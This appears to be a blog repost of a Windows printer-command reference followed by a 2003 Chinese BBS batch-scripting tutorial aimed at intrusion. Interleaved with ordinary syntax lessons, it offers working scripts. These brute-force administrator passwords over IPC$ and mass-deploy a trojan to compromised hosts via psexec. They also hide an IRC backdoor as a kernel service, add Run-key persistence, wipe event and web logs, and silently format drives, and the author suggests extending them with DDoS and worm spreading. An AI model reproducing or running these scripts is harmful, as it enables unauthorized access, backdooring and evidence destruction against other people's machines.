 /n[name]  電腦名稱
 /o 顯示印表機佇列檢視
 /p 顯示印表機內容
 /q 安靜模式，不顯示錯誤訊息
 /r[連接埠] 連接埠名稱
 /s 顯示伺服器內容
 /Ss 將印表機設定值儲存到檔案
 /Sr 將印表機設定值從檔案還原
 儲存或還原必須放在指令結尾的印表機設定值選項旗標:
 2 PRINTER_INFO_2
 7 PRINTER_INFO_7
 c 色彩設定檔
 d 印表機資料
 s 安全性描述元
 g 通用 DevMode
 m 最小設定值
 u 使用者 DevMode
 r 解決名稱衝突
 f 強制名稱
 p 解決連接埠
 /u 如果已經安裝了，使用現存的印表機驅動程式
 /t[#] 基本索引頁從零開始
 /v[verison] 指定以下驅動程式版本之一，Windows 95 或 98 | Windows NT 3.1 | Windows NT 3.5 或 3.51 | Windows NT 3.51 | Windows NT 4.0 | Windows NT 4.0 或 2000 | Windows 2000
 /w 如果在 inf 檔內找不到指定的驅動程式，提示一個驅動程式給使用者
 /y 設定為預設印表機
 /Xg 取得印表機設定值
 /Xs 指定印表機設定值
 /z 不自動共用這個印表機
 /Z 共用這個印表機，只能和 /if 選項配合使用
 /? 說明訊息
 @[file] 指令行引數檔案

範例:
 執行伺服器內容: 
rundll32 printui .dll ,PrintUIEntry /s /t1 /n\\machine
 執行印表機內容: 
rundll32 printui .dll ,PrintUIEntry /p /n\\machine\printer
 在本機執行新增印表機精靈: 
rundll32 printui .dll ,PrintUIEntry /il
 執行新增印表機精靈於 \\machine:
rundll32 printui.dll,PrintUIEntry /il /c\\machine
 執行佇列檢視: 
rundll32 printui .dll ,PrintUIEntry /o /n\\machine\printer
 執行 inf 檔安裝:
rundll32 printui.dll,PrintUIEntry /if /b "Test Printer" /f %windir%\inf\ntprint.inf /r "lpt1:" /m "AGFA-AccuSet v52.3"
 使用 inf 檔執行新增印表機精靈:
rundll32 printui.dll,PrintUIEntry /ii /f %windir%\inf\ntprint.inf
 新增每台電腦印表機連線:
rundll32 printui.dll,PrintUIEntry /ga /c\\machine /n\\machine\printer /j"LanMan Print Services"
 刪除每台電腦的印表機連線:
rundll32 printui.dll,PrintUIEntry /gd /c\\machine /n\\machine\printer
 列舉每台電腦的印表機連線:
rundll32 printui.dll,PrintUIEntry /ge /c\\machine
 使用 inf 檔新增印表機驅動程式:
rundll32 printui.dll,PrintUIEntry /ia /c\\machine /m "AGFA-AccuSet v52.3" /h "Intel" /v "Windows 2000" /f %windir%\inf\ntprint.inf
 移除印表機驅動程式:
rundll32 printui.dll,PrintUIEntry /dd /c\\machine /m "AGFA-AccuSet v52.3" /h "Intel" /v "Windows 2000"
 設定為預設印表機:
rundll32 printui.dll,PrintUIEntry /y /n "printer"
 設定印表機註解:
rundll32 printui.dll,PrintUIEntry /Xs /n "printer" comment "My Cool Printer"
 取得印表機設定值:
rundll32 printui.dll,PrintUIEntry /Xg /n "printer"
 取得印表機設定值並將結果儲存在檔案:
rundll32 printui.dll,PrintUIEntry /f "results.txt" /Xg /n "printer"
 設定印表機設定值指令使用方式
rundll32 printui.dll,PrintUIEntry /Xs /n "printer" ?
 將所有印表機設定值存放到檔案:
rundll32 printui.dll,PrintUIEntry /Ss /n "printer" /a "file.dat"
 從檔案還原所有的印表機設定值:
rundll32 printui.dll,PrintUI /Sr /n "printer" /a "file.dat"
 將印表機資訊存放到等級 2 的檔案中:
rundll32 printui.dll,PrintUIEntry /Ss /n "printer" /a "file.dat" 2
 還原檔案印表機安全性描述元:
rundll32 printui.dll,PrintUIEntry /Sr /n "printer" /a "file.dat" s
 還原檔案印表機通用 devmode 及印表機資料:
rundll32 printui.dll,PrintUIEntry /Sr /n "printer" /a "file.dat" g d
 還原檔案最小設定值及解析連接埠名稱:
rundll32 printui.dll,PrintUIEntry /Sr /n "printer" /a "file.dat" m p

簡單批處理內部命令簡介

2010-03-05T01:50:00.000-08:00

出處
http://bbs.nsysu.edu.tw/txtVersion/boards/msdos/M.1078700757.A.html

一.簡單批處理內部命令簡介

1.Echo 命令

打開回顯或關閉請求回顯功能，或顯示消息。如果沒有任何參數，echo 命令將顯示當前回

顯設置。

語法

echo [{on|off}] [message]

Sample：@echo off / echo hello world

在實際應用中我們會把這條命令和重定向符號（也稱為管道符號，一般用> >> ^）結合來實

現輸入一些命令到特定格式的文件中.這將在以後的例子中體現出來。





2.@ 命令

表示不顯示@後面的命令，在入侵過程中（例如使用批處理來格式化敵人的硬盤）自然不能

讓對方看到你使用的命令啦。

Sample：@echo off

@echo Now initializing the program,please wait a minite...

@format X: /q/u/autoset (format 這個命令是不可以使用/y這個參數的，可喜的是微軟留

了個autoset這個參數給我們，效果和/y是一樣的。)



3.Goto 命令

指定跳轉到標簽，找到標簽後，程序將處理從下一行開始的命令。

語法：goto label （label是參數，指定所要轉向的批處理程序中的行。）


Sample：

if {%1}=={} goto noparms

if {%2}=={} goto noparms（如果這裡的if、%1、%2你不明白的話，先跳過去，後面會有詳

細的解釋。）

@Rem check parameters if null show usage

:noparms

echo Usage: monitor.bat ServerIP PortNumber

goto end

標簽的名字可以隨便起，但是最好是有意義的字母啦，字母前加個：用來表示這個字母是標

簽，goto命令就是根據這個：來尋找下一步跳到到那裡。最好有一些說明這樣你別人看起來

才會理解你的意圖啊。



4.Rem 命令

注釋命令，在C語言中相當與/*--------*/,它並不會被執行，只是起一個注釋的作用，便于

別人閱讀和你自己日後修改。

Rem Message

Sample：@Rem Here is the description.



5.Pause 命令

運行 Pause 命令時，將顯示下面的消息：

Press any key to continue . . .

Sample：


@echo off

:begin

copy a:*.* d：\back

echo Please put a new disk into driver A

pause

goto begin

在這個例子中，驅動器 A 中磁盤上的所有文件均復制到d:\back中。顯示的注釋提示您將另

一張磁盤放入驅動器 A 時，pause 命令會使程序掛起，以便您更換磁盤，然後按任意鍵繼

續處理。



6.Call 命令

從一個批處理程序調用另一個批處理程序，並且不終止父批處理程序。call 命令接受用作

調用目標的標簽。如果在腳本或批處理文件外使用 Call，它將不會在命令行起作用。

語法

call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]

參數

[Drive:}[Path] FileName

指定要調用的批處理程序的位置和名稱。filename 參數必須具有 .bat 或 .cmd 擴展名。



7.start 命令

調用外部程序，所有的DOS命令和命令行程序都可以由start命令來調用。

入侵常用參數：


MIN 開始時窗口最小化

SEPARATE 在分開的空間內開始 16 位 Windows 程序

HIGH 在 HIGH 優先級類別開始應用程序

REALTIME 在 REALTIME 優先級類別開始應用程序

WAIT 啟動應用程序並等候它結束

parameters 這些為傳送到命令/程序的參數

執行的應用程序是 32-位 GUI 應用程序時，CMD.EXE 不等應用程序終止就返回命令提示。

如果在命令腳本內執行，該新行為則不會發生。

8.choice 命令

choice 使用此命令可以讓用戶輸入一個字符，從而運行不同的命令。使用時應該加/c:參數

，c:後應寫提示可輸入的字符，之間無空格。它的返回碼為1234……

如: choice /c:dme defrag,mem,end

將顯示

defrag,mem,end[D,M,E]?

Sample：

Sample.bat的內容如下:

@echo off

choice /c:dme defrag,mem,end

if errorlevel 3 goto defrag （應先判斷數值最高的錯誤碼）

if errorlevel 2 goto mem

if errotlevel 1 goto end




:defrag

c:\dos\defrag

goto end

:mem

mem

goto end

:end

echo good bye



此文件運行後，將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ，然後if語句將作出判

斷，d表示執行標號為defrag的程序段，m表示執行標號為mem的程序段，e表示執行標號為en

d的程序段，每個程序段最後都以goto end將程序跳到end標號處，然後程序將顯示good by

e，文件結束。



9.If 命令



if 表示將判斷是否符合規定的條件，從而決定執行不同的命令。 有三種格式:

1、if \參數\ == \字符串\ 　待執行的命令

參數如果等于指定的字符串，則條件成立，運行命令，否則運行下一句。(注意是兩個等號

）

如if \%1\==\a\ format a:

if {%1}=={} goto noparms


if {%2}=={} goto noparms



2、if exist 文件名　 待執行的命令

如果有指定的文件，則條件成立，運行命令，否則運行下一句。

如if exist config.sys edit config.sys



3、if errorlevel / if not errorlevel 數字　 待執行的命令

如果返回碼等于指定的數字，則條件成立，運行命令，否則運行下一句。

如if errorlevel 2 goto x2 　

DOS程序運行時都會返回一個數字給DOS，稱為錯誤碼errorlevel或稱返回碼，常見的返回碼

為0、1。



10.for 命令

for 命令是一個比較復雜的命令，主要用于參數在指定的范圍內循環執行命令。

在批處理文件中使用 FOR 命令時，指定變量請使用 %%variable



for {%variable|%%variable} in (set) do command [ CommandLineOptions]

%variable 指定一個單一字母可替換的參數。

(set) 指定一個或一組文件。可以使用通配符。

command 指定對每個文件執行的命令。

command-parameters 為特定命令指定參數或命令行開關。

在批處理文件中使用 FOR 命令時，指定變量請使用 %%variable


而不要用 %variable。變量名稱是區分大小寫的，所以 %i 不同于 %I



如果命令擴展名被啟用，下列額外的 FOR 命令格式會受到

支持:



FOR /D %variable IN (set) DO command [command-parameters]



如果集中包含通配符，則指定與目錄名匹配，而不與文件

名匹配。



FOR /R [[drive:]path] %variable IN (set) DO command [command-



檢查以 [drive:]path 為根的目錄樹，指向每個目錄中的

FOR 語句。如果在 /R 後沒有指定目錄，則使用當前

目錄。如果集僅為一個單點(.)字符，則枚舉該目錄樹。



FOR /L %variable IN (start,step,end) DO command [command-para



該集表示以增量形式從開始到結束的一個數字序列。

因此，(1,1,5) 將產生序列 1 2 3 4 5，(5,-1,1) 將產生

序列 (5 4 3 2 1)。




FOR /F [\options\] %variable IN (file-set) DO command

FOR /F [\options\] %variable IN (\string\) DO command

FOR /F [\options\] %variable IN (command) DO command



或者，如果有 usebackq 選項:



FOR /F [\options\] %variable IN (file-set) DO command

FOR /F [\options\] %variable IN (\string\) DO command

FOR /F [\options\] %variable IN (command) DO command



filenameset 為一個或多個文件名。繼續到 filenameset 中的

下一個文件之前，每份文件都已被打開、讀取並經過處理。

處理包括讀取文件，將其分成一行行的文字，然後將每行

解析成零或更多的符號。然後用已找到的符號字符串變量值

調用 For 循環。以默認方式，/F 通過每個文件的每一行中分開

的第一個空白符號。跳過空白行。您可通過指定可選 \options\

參數替代默認解析操作。這個帶引號的字符串包括一個或多個

指定不同解析選項的關鍵字。這些關鍵字為:



eol=c - 指一個行注釋字符的結尾(就一個)

skip=n - 指在文件開始時忽略的行數。

delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的


默認分隔符集。

tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代

的 for 本身。這會導致額外變量名稱的

格式為一個范圍。通過 nth 符號指定 m

符號字符串中的最後一個字符星號，

那麼額外的變量將在最後一個符號解析之

分配並接受行的保留文本。

usebackq - 指定新語法已在下類情況中使用:

在作為命令執行一個後引號的字符串並且

引號字符為文字字符串命令並允許在 fi

中使用雙引號擴起文件名稱。



sample1:

FOR /F \eol=; tokens=2,3* delims=, \ %i in (myfile.txt) do command



會分析 myfile.txt 中的每一行，忽略以分號打頭的那些行，將

每行中的第二個和第三個符號傳遞給 for 程序體；用逗號和/或

空格定界符號。請注意，這個 for 程序體的語句引用 %i 來

取得第二個符號，引用 %j 來取得第三個符號，引用 %k

來取得第三個符號後的所有剩余符號。對于帶有空格的文件

名，您需要用雙引號將文件名括起來。為了用這種方式來使

用雙引號，您還需要使用 usebackq 選項，否則，雙引號會


被理解成是用作定義某個要分析的字符串的。



%i 專門在 for 語句中得到說明，%j 和 %k 是通過

tokens= 選項專門得到說明的。您可以通過 tokens= 一行

指定最多 26 個符號，只要不試圖說明一個高于字母 z 或

Z 的變量。請記住，FOR 變量是單一字母、分大小寫和全局的；

同時不能有 52 個以上都在使用中。



您還可以在相鄰字符串上使用 FOR /F 分析邏輯；方法是，

用單引號將括號之間的 filenameset 括起來。這樣，該字符

串會被當作一個文件中的一個單一輸入行。



最後，您可以用 FOR /F 命令來分析命令的輸出。方法是，將

括號之間的 filenameset 變成一個反括字符串。該字符串會

被當作命令行，傳遞到一個子 CMD.EXE，其輸出會被抓進

內存，並被當作文件分析。因此，以下例子:



FOR /F \usebackq delims==\ %i IN (`set`) DO @echo %i



會枚舉當前環境中的環境變量名稱。



另外，FOR 變量參照的替換已被增強。您現在可以使用下列


選項語法:



~I - 刪除任何引號(\)，擴充 %I

%~fI - 將 %I 擴充到一個完全合格的路徑名

%~dI - 僅將 %I 擴充到一個驅動器號

%~pI - 僅將 %I 擴充到一個路徑

%~nI - 僅將 %I 擴充到一個文件名

%~xI - 僅將 %I 擴充到一個文件擴展名

%~sI - 擴充的路徑只含有短名

%~aI - 將 %I 擴充到文件的文件屬性

%~tI - 將 %I 擴充到文件的日期/時間

%~zI - 將 %I 擴充到文件的大小

%~$PATH:I - 查找列在路徑環境變量的目錄，並將 %I 擴充

到找到的第一個完全合格的名稱。如果環境變量

未被定義，或者沒有找到文件，此組合鍵會擴充

空字符串



可以組合修飾符來得到多重結果:



%~dpI - 僅將 %I 擴充到一個驅動器號和路徑

%~nxI - 僅將 %I 擴充到一個文件名和擴展名

%~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名


%~dp$PATH:i - 查找列在路徑環境變量的目錄，並將 %I 擴充

到找到的第一個驅動器號和路徑。

%~ftzaI - 將 %I 擴充到類似輸出線路的 DIR



在以上例子中，%I 和 PATH 可用其他有效數值代替。%~ 語法

用一個有效的 FOR 變量名終止。選取類似 %I 的大寫變量名

比較易讀，而且避免與不分大小寫的組合鍵混淆。



以上是MS的官方幫助，下面我們舉幾個例子來具體說明一下For命令在入侵中的用途。



sample2：



利用For命令來實現對一台目標Win2k主機的暴力密碼破解。

我們用net use \\ip\ipc$ \password\ /u:\administrator\來嘗試這和目標主機進行連接

，當成功時記下密碼。

最主要的命令是一條：for /f i% in (dict.txt) do net use \\ip\ipc$ \i%\ /u:\admini

strator\

用i%來表示admin的密碼，在dict.txt中這個取i%的值用net use 命令來連接。然後將程序

運行結果傳遞給find命令－－

for /f i%% in (dict.txt) do net use \\ip\ipc$ \i%%\ /u:\administrator\|find \:命

令成功完成\>>D:\ok.txt ，這樣就ko了。




sample3：



你有沒有過手裡有大量肉雞等著你去種後門＋木馬呢？，當數量特別多的時候，原本很開心

的一件事都會變得很鬱悶：）。文章開頭就談到使用批處理文件，可以簡化日常或重復性任

務。那麼如何實現呢？呵呵，看下去你就會明白了。



主要命令也只有一條：（在批處理文件中使用 FOR 命令時，指定變量使用 %%variable）

@for /f \tokens=1,2,3 delims= \ %%i in (victim.txt) do start call door.bat %%i %

%j %%k

tokens的用法請參見上面的sample1，在這裡它表示按順序將victim.txt中的內容傳遞給doo

r.bat中的參數%i %j %k。

而cultivate.bat無非就是用net use命令來建立IPC$連接，並copy木馬＋後門到victim，然

後用返回碼（If errorlever =）來篩選成功種植後門的主機，並echo出來，或者echo到指

定的文件。

delims= 表示vivtim.txt中的內容是一空格來分隔的。我想看到這裡你也一定明白這victim

..txt裡的內容是什麼樣的了。應該根據%%i %%j %%k表示的對象來排列，一般就是 ip passw

ord username。

代碼雛形：

--------------- cut here then save as a batchfile(I call it main.bat ) ---------

------------------

@echo off

@if \%1\==\\ goto usage


@for /f \tokens=1,2,3 delims= \ %%i in (victim.txt) do start call IPChack.bat %%

i %%j %%k

@goto end

:usage

@echo run this batch in dos modle.or just double-click it.

:end

--------------- cut here then save as a batchfile(I call it main.bat ) ---------

------------------





------------------- cut here then save as a batchfile(I call it door.bat) ------

-----------------------

@net use \\%1\ipc$ %3 /u:\%2\

@if errorlevel 1 goto failed

@echo Trying to establish the IPC$ connection …………OK

@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2

PWD %3 >>ko.txt

@psexec \\%1 c:\winnt\system32\windrv32.exe

@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.t

xt

:failed

@echo Sorry can not connected to the victim.


------------------------

這只是一個自動種植後門批處理的雛形，兩個批處理和後門程序（Windrv32.exe）,PSexec.

exe需放在統一目錄下.批處理內容

尚可擴展,例如:加入清除日志+DDOS的功能,加入定時添加用戶的功能,更深入一點可以使之

具備自動傳播功能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究.





--

___|)_________|___________

|___/___|______|____

|__/|___|-.__,-|________

|_/(|,\_|/___`-'______

|_\_|_/__________

   |          

 (_|         讓生命隨著這火紅的音樂而舞動吧！







文章出處:proxy.smth.edu.cn
發信人: duguK (一切隨緣), 信區: DOS

標  題: 簡明批處理教程-2

發信站: BBS 水木清華站 (Fri Dec 26 09:09:36 2003), 轉信



簡明批處理教程-2



No.2

二.如何在批處理文件中使用參數

批處理中可以使用參數，一般從1%到 9%這九個，當有多個參數時需要用shift來移動，這種

情況並不多見，我們就不考慮它了。

sample1：fomat.bat

@echo off

if \%1\==\a\ format a:

:format

@format a:/q/u/auotset

@echo please insert another disk to driver A.

@pause

@goto fomat

這個例子用于連續地格式化幾張軟盤，所以用的時候需在dos窗口輸入fomat.bat a，呵呵,

好像有點畫蛇添足了～^_^

sample2：

當我們要建立一個IPC$連接地時候總要輸入一大串命令，弄不好就打錯了，所以我們不如把


一些固定命令寫入一個批處理，把肉雞地ip password username 當著參數來賦給這個批處

理，這樣就不用每次都打命令了。

@echo off

@net use \\1%\ipc$ \2%\ /u:\3%\ 注意哦，這裡PASSWORD是第二個參數。

@if errorlevel 1 echo connection failed

怎麼樣,使用參數還是比較簡單的吧？你這麼帥一定學會了^_^.No.3

三.如何使用組合命令(Compound Command)





1.&



Usage：第一條命令 & 第二條命令 [& 第三條命令...]



用這種方法可以同時執行多條命令，而不管命令是否執行成功



Sample：

C:\>dir z: & dir c:\Ex4rch

The system cannot find the path specified.

Volume in drive C has no label.

Volume Serial Number is 0078-59FB



Directory of c:\Ex4rch




2002-05-14 23:51



..

2002-05-14 23:51

...

2002-05-14 23:51 14 sometips.gif



2.&&



Usage：第一條命令 && 第二條命令 [&& 第三條命令...]



用這種方法可以同時執行多條命令，當碰到執行出錯的命令後將不執行後面的命令，如果一

直沒有出錯則一直執行完所有命令；



Sample：

C:\>dir z: && dir c:\Ex4rch

The system cannot find the path specified.



C:\>dir c:\Ex4rch && dir z:

Volume in drive C has no label.

Volume Serial Number is 0078-59FB




Directory of c:\Ex4rch



2002-05-14 23:55

..

2002-05-14 23:55

...

2002-05-14 23:55 14 sometips.gif

1 File(s) 14 bytes

2 Dir(s) 768,671,744 bytes free

The system cannot find the path specified.



在做備份的時候可能會用到這種命令會比較簡單，如：

dir file＆#58//192.168.0.1/database/backup.mdb && copy file＆#58//192.168.0.1/da

tabase/backup.mdb E:\backup

如果遠程服務器上存在backup.mdb文件，就執行copy命令，若不存在該文件則不執行copy命

令。這種用法可以替換IF exist了 ：）



3.||



Usage：第一條命令 || 第二條命令 [|| 第三條命令...]




用這種方法可以同時執行多條命令，當碰到執行正確的命令後將不執行後面的命令，如果沒

有出現正確的命令則一直執行完所有命令；



Sample：

C:\Ex4rch>dir sometips.gif || del sometips.gif

Volume in drive C has no label.

Volume Serial Number is 0078-59FB



Directory of C:\Ex4rch



2002-05-14 23:55 14 sometips.gif

1 File(s) 14 bytes

0 Dir(s) 768,696,320 bytes free



組合命令使用的例子：

sample：

@copy trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2

PASS %3 >>victim.txt





--

___|)_________|___________


|__/|___|-.__,-|________

|_/(|,\_|/___`-'______

|_\_|_/__________

   |          

 (_|         讓生命隨著這火紅的音樂而舞動吧！







文章出處:proxy.smth.edu.cn
發信人: duguK (一切隨緣), 信區: DOS

標  題: 簡明批處理教程-3

發信站: BBS 水木清華站 (Fri Dec 26 09:10:21 2003), 轉信



簡明批處理教程-3



No.4

四、管道命令的使用





1.| 命令

Usage：第一條命令 | 第二條命令 [| 第三條命令...]

將第一條命令的結果作為第二條命令的參數來使用，記得在unix中這種方式很常見。



sample：

time /t>>D:\IP.log

netstat -n -p tcp|find \:3389\>>D:\IP.log

start Explorer

看出來了麼？用于終端服務允許我們為用戶自定義起始的程序，來實現讓用戶運行下面這個

bat，以獲得登錄用戶的IP。



2.>、>>輸出重定向命令


將一條命令或某個程序輸出結果的重定向到特定文件中, > 與 >>的區別在于，>會清除調原

有文件中的內容後寫入指定文件，而>>只會追加內容到指定文件中，而不會改動其中的內容

。



sample1：

echo hello world>c:\hello.txt (stupid example?)



sample2:

時下DLL木馬盛行，我們知道system32是個捉迷藏的好地方，許多木馬都削尖了腦袋往那裡

鑽，DLL馬也不例外，針對這一點我們可以在安裝好系統和必要的應用程序後，對該目錄下

的EXE和DLL文件作一個記錄：

運行CMD--轉換目錄到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,

這樣所有的EXE和DLL文件的名稱都被分別記錄到exeback.txt和dllback.txt中,

日後如發現異常但用傳統的方法查不出問題時,則要考慮是不是系統中已經潛入DLL木馬了.

這時我們用同樣的命令將system32下的EXE和DLL文件記錄到另外的exeback1.txt和dllback1

..txt中,然後運行:

CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt

..(用FC命令比較前後兩次的DLL和EXE文件,並將結果輸入到diff.txt中),這樣我們就能發現

一些多出來的DLL和EXE文件,然後通過查看創建時間、版本、是否經過壓縮等就能夠比較容

易地判斷出是不是已經被DLL木馬光顧了。沒有是最好，如果有的話也不要直接DEL掉，先用

regsvr32 /u trojan.dll將後門DLL文件注銷掉,再把它移到回收站裡，若系統沒有異常反映

再將之徹底刪除或者提交給殺毒軟件公司。




3.< 、>& 、<&

< 從文件中而不是從鍵盤中讀入命令輸入。

>& 將一個句柄的輸出寫入到另一個句柄的輸入中。

<& 從一個句柄讀取輸入並將其寫入到另一個句柄輸出中。

這些並不常用，也就不多做介紹。



No.5

五.如何用批處理文件來操作注冊表



在入侵過程中經常回操作注冊表的特定的鍵值來實現一定的目的，例如:為了達到隱藏後門

、木馬程序而刪除Run下殘余的鍵值。或者創建一個服務用以加載後門。當然我們也會修改

注冊表來加固系統或者改變系統的某個屬性，這些都需要我們對注冊表操作有一定的了解。

下面我們就先學習一下如何使用.REG文件來操作注冊表.(我們可以用批處理來生成一個REG

文件)

關于注冊表的操作，常見的是創建、修改、刪除。



1.創建

創建分為兩種，一種是創建子項(Subkey)



我們創建一個文件，內容如下：




Windows Registry Editor Version 5.00



[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]



然後執行該腳本，你就已經在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下創建了一個名字

為“hacker”的子項。



另一種是創建一個項目名稱

那這種文件格式就是典型的文件格式，和你從注冊表中導出的文件格式一致，內容如下：



Windows Registry Editor Version 5.00



[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

\Invader\=\Ex4rch\

\Door\=C:\\WINNT\\system32\\door.exe

\Autodos\=dword:02



這樣就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下

新建了:Invader、door、about這三個項目

Invader的類型是“String ＆#118alue”

door的類型是“REG SZ ＆#118alue”

Autodos的類型是“DWORD ＆#118alue”






2.修改

修改相對來說比較簡單，只要把你需要修改的項目導出，然後用記事本進行修改，然後導入

（regedit /s）即可。



3.刪除

我們首先來說說刪除一個項目名稱，我們創建一個如下的文件：



Windows Registry Editor Version 5.00



[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

\Ex4rch\=-



執行該腳本，[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下

的\Ex4rch\就被刪除了；



我們再看看刪除一個子項，我們創建一個如下的腳本：



Windows Registry Editor Version 5.00



[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]




執行該腳本，[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就

已經被刪除了。



相信看到這裡，.reg文件你基本已經掌握了。那麼現在的目標就是用批處理來創建特定內容

的.reg文件了，記得我們前面說道的利用重定向符號可以很容易地創建特定類型的文件。



samlpe1:如上面的那個例子,如想生成如下注冊表文件

Windows Registry Editor Version 5.00



[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

\Invader\=\Ex4rch\

\door\=hex:255

\Autodos\=dword:000000128

只需要這樣：

@echo Windows Registry Editor Version 5.00>>Sample.reg



@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.

reg

@echo \Invader\=\Ex4rch\>>Sample.reg

@echo \door\=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg

@echo \Autodos\=dword:02>>Sample.reg






samlpe2:

我們現在在使用一些比較老的木馬時,可能會在注冊表的[HKEY_LOCAL_MACHINE\SOFTWARE\Mi

crosoft\Windows\CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一個鍵值

用來實現木馬的自啟動.但是這樣很容易暴露木馬程序的路徑,從而導致木馬被查殺,相對地

若是將木馬程序注冊為系統服務則相對安全一些.下面以配置好地IRC木馬DSNX為例(名為win

drv32.exe)

@start windrv32.exe

@attrib +h +r windrv32.exe

@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch

..dll

@echo \windsnx \=- >>patch.dll

@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver

binpath= c:\winnt\system32\windrv32.exe

@regedit /s patch.dll

@delete patch.dll



@REM [刪除DSNXDE在注冊表中的啟動項，用sc.exe將之注冊為系統關鍵性服務的同時將其屬

性設為隱藏和只讀，並config為自啟動]

@REM 這樣不是更安全^_^.

　


--

___|)_________|___________

|___/___|______|____

|__/|___|-.__,-|________

|_/(|,\_|/___`-'______

|_\_|_/__________

   |          

 (_|         讓生命隨著這火紅的音樂而舞動吧！







文章出處:proxy.smth.edu.cn
發信人: duguK (一切隨緣), 信區: DOS

標  題: 簡明批處理教程-4

發信站: BBS 水木清華站 (Fri Dec 26 09:11:02 2003), 轉信



簡明批處理教程-4



No.6

六.精彩實例放送。

1.刪除win2k/xp系統默認共享的批處理

------------------------ cut here then save as .bat or .cmd file ---------------

------------





@echo preparing to delete all the default shares.when ready pres any key.

@pause

@echo off



:Rem check parameters if null show usage.

if {%1}=={} goto :Usage



:Rem code start.

echo.


echo ------------------------------------------------------

echo.

echo Now deleting all the default shares.

echo.

net share %1$ /delete

net share %2$ /delete

net share %3$ /delete

net share %4$ /delete

net share %5$ /delete

net share %6$ /delete

net share %7$ /delete

net share %8$ /delete

net share %9$ /delete

net stop Server

net start Server

echo.

echo All the shares have been deleteed

echo.

echo ------------------------------------------------------

echo.

echo Now modify the registry to change the system default properties.

echo.


echo Now creating the registry file

echo Windows Registry Editor Version 5.00> c:\delshare.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\paramete

rs]>> c:\delshare.reg

echo \AutoShareWks\=dword:00000000>> c:\delshare.reg

echo \AutoShareServer\=dword:00000000>> c:\delshare.reg

echo Nowing using the registry file to chang the system default properties.

regedit /s c:\delshare.reg

echo Deleting the temprotarily files.

del c:\delshare.reg

goto :END



:Usage

echo.

echo ------------------------------------------------------

echo.

echo ☆ A example for batch file ☆

echo ☆ [Use batch file to change the sysytem share properties.] ☆

echo.

echo Author：Ex4rch

echo Mail:Ex4rch@hotmail.com QQ:1672602

echo.


echo Error：Not enough parameters

echo.

echo ☆ Please enter the share disk you wanna delete ☆

echo.

echo For instance，to delete the default shares:

echo delshare c d e ipc admin print

echo.

echo If the disklable is not as C: D: E: ，Please chang it youself.

echo.

echo example：

echo If locak disklable are C: D: E: X: Y: Z: ，you should chang the command int

o ：

echo delshare c d e x y z ipc admin print

echo.

echo *** you can delete nine shares once in a useing ***

echo.

echo ------------------------------------------------------

goto :EOF



:END

echo.

echo ------------------------------------------------------


echo.

echo OK,delshare.bat has deleted all the share you assigned.

echo.Any questions ,feel free to mail to Ex4rch@hotmail.com.

echo

echo.

echo ------------------------------------------------------

echo.



:EOF

echo end of the batch file

------------------------ cut here then save as .bat or .cmd file ---------------

------------





2.全面加固系統（給肉雞打補丁）的批處理文件

------------------------ cut here then save as .bat or .cmd file ---------------

------------



@echo Windows Registry Editor Version 5.00 >patch.dll

@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\paramet

ers] >>patch.dll




@echo \AutoShareServer\=dword:00000000 >>patch.dll

@echo \AutoShareWks\=dword:00000000 >>patch.dll

@REM [禁止共享]



@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>patch.dll

@echo \restrictanonymous\=dword:00000001 >>patch.dll

@REM [禁止匿名登錄]



@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters] >>

patch.dll

@echo \SMBDeviceEnabled\=dword:00000000 >>patch.dll

@REM [禁止及文件訪問和打印共享]



@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\@REMoteRegistry] >>p

atch.dll

@echo \Start\=dword:00000004 >>patch.dll

@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule] >>patch.dl

l

@echo \Start\=dword:00000004 >>patch.dll

@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]

>>patch.dll

@echo \ShutdownWithoutLogon\=\0\ >>patch.dll


@REM [禁止登錄前關機]



@echo \DontDisplayLastUserName\=\1\ >>patch.dll

@REM [禁止顯示前一個登錄用戶名稱]

@regedit /s patch.dll





------------------------ cut here then save as .bat or .cmd file ---------------

------------



下面命令是清除肉雞所有日志，禁止一些危險的服務，並修改肉雞的terminnal service留

跳後路。

@regedit /s patch.dll

@net stop w3svc

@net stop event log

@del c:\winnt\system32\logfiles\w3svc1\*.* /f /q

@del c:\winnt\system32\logfiles\w3svc2\*.* /f /q

